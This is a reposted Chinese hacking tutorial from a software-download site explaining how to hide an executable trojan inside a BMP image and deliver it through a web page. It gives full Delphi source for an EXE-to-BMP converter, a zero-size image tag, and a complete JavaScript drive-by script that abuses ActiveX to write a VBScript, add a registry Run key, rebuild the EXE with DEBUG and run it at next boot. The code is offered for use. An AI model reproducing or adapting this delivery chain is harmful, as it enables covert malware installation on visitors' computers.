分类广告


推荐文章

  • 没有找到任何内容!
您当前的位置:中国站长下载软件教程安全相关 → 文章内容

黑客技巧之利用图片做木马应用完全解析

  • 作者:不详    来源:网络    发布时间:2007-1-17 11:18:00
  • 字体大小:
    何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行。

然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的JAVASCRIPT脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录。再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行。但是这种技术只能在Windows9X下发挥作用,对于Windows2000、WindowsXP来说是无能为力了。

看上去好象很复杂,下面我们一步一步来:

EXE变BMP的方法

大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽、位数、文件大小、数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下:

program exe2bmp; uses Windows, SysUtils; var len,row,col,fs: DWORD; buffer: array[0..255]of char; fd: WIN32_FIND_DATA; h,hw: THandle; begin if (ParamStr(1)<>’’) and(ParamStr(2)<>’’) then begin //如果运行后没有两个参数则退出 if FileExists(ParamStr(1)) then begin FindFirstFile(Pchar(ParamStr(1)),fd); fs:=fd.nFileSizeLow; col := 4; while true do begin if (fs mod 12)=0 then begin len:=fs; end else len:=fs+12-(fs mod 12); row := len div col div 3; if row>col then begin col:=col+4; end else Break; end; FillChar(buffer,256,0); {一下为BMP文件头数据} Buffer[0]:=’B’;Buffer[1]:=’M’; PDWORD(@buffer[18])^:=col; PDWORD(@buffer[22])^:=row; PDWORD(@buffer[34])^:=len; PDWORD(@buffer[2])^:=len+54; PDWORD(@buffer[10])^:=54; PDWORD(@buffer[14])^:=40; PWORD(@buffer[26])^:=1; PWORD(@buffer[28])^:=24; {写入文件} hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0); h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0); WriteFile(hw,buffer,54,col,0); repeat ReadFile(h,buffer,256,col,0); WriteFile(hw,buffer,col,col,0); untilcol<>256; WriteFile(hw,buffer,len-fs,col,0); CloseHandle(h); CloseHandle(hw); end; end; end.

以上代码可以在DELPHI4、5、6中编译,就可以得到一个exe2bmp.exe文件。大家打开MSDOS方式,输入exe2bmp myexe.exe mybmp.bmp,回车就可以把第二个参数所指定的EXE文件转换成BMP格式。

接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调。所以大家放在网页上最好用这样的格式:

<IMG width=0 higth="0" srd="mybmp.bmp">

以下是放在网页上的脚本:

document.write(’ ’); function docsave() { a=document.applets[0]; a.setCLSID(’{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}’); a.createInstance(); wsh=a.GetObject(); a.setCLSID(’{0D43FE01-F093-11CF-8940-00A0C9054228}’); a.createInstance(); fso=a.GetObject(); var winsys=fso.GetSpecialFolder(1); var vbs=winsys+’\\s.vbs’; wsh.RegWrite (’HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs’,’wscript ’+’"’+vbs+’" ’);  var st=fso.CreateTextFile(vbs,true); st.WriteLine(’Option Explicit’); st.WriteLine(’Dim FSO,WSH,CACHE,str’); st.WriteLine(’Set FSO = CreateObject("Scripting.FileSystemObject")’); st.WriteLine(’Set WSH = CreateObject("WScript.Shell")’); st.WriteLine(’CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")’); st.WriteLine(’wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")’); st.WriteLine (’wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"’); st.WriteLine(’SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"’); st.WriteLine(’WScript.Quit()’); st.WriteLine(’Function SearchBMPFile(Folder,fname)’); st.WriteLine(’ Dim SubFolder,File,Lt,tmp,winsys’); st.WriteLine(’ str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname’); st.WriteLine(’ if FSO.FileExists(str) then’); st.WriteLine(’ tmp=fso.GetSpecialFolder(2) & "\\"’); st.WriteLine(’ winsys=fso.GetSpecialFolder(1) & "\\"’); st.WriteLine(’ set File=FSO.GetFile(str)’); st.WriteLine(’ File.Copy(tmp & "tmp.dat")’); st.WriteLine(’ File.Delete’); st.WriteLine(’ set Lt=FSO.CreateTextFile(tmp & "tmp.in")’); st.WriteLine(’ Lt.WriteLine("rbx")’); st.WriteLine(’ Lt.WriteLine("0")’); st.WriteLine(’ Lt.WriteLine("rcx")’); st.WriteLine(’ Lt.WriteLine("1000")’); st.WriteLine(’ Lt.WriteLine("w136")’); st.WriteLine(’ Lt.WriteLine("q")’); st.WriteLine(’ Lt.Close’); st.WriteLine(’ WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6’); st.WriteLine(’ On Error Resume Next ’); st.WriteLine(’ FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")’); st.WriteLine(’ FSO.GetFile(tmp & "tmp.dat").Delete’); st.WriteLine(’ FSO.GetFile(tmp & "tmp.in").Delete’); st.WriteLine(’ FSO.GetFile(tmp & "tmp.out").Delete’); st.WriteLine(’ end if’); st.WriteLine(’ If Folder.SubFolders.Count <> 0 Then’); st.WriteLine(’ For Each SubFolder In Folder.SubFolders’); st.WriteLine(’ SearchBMPFile SubFolder,fname’); st.WriteLine(’ Next’); st.WriteLine(’ End If’); st.WriteLine(’End Function’); st.Close(); } setTimeout(’docsave()’,1000);

[1] [2]  下一页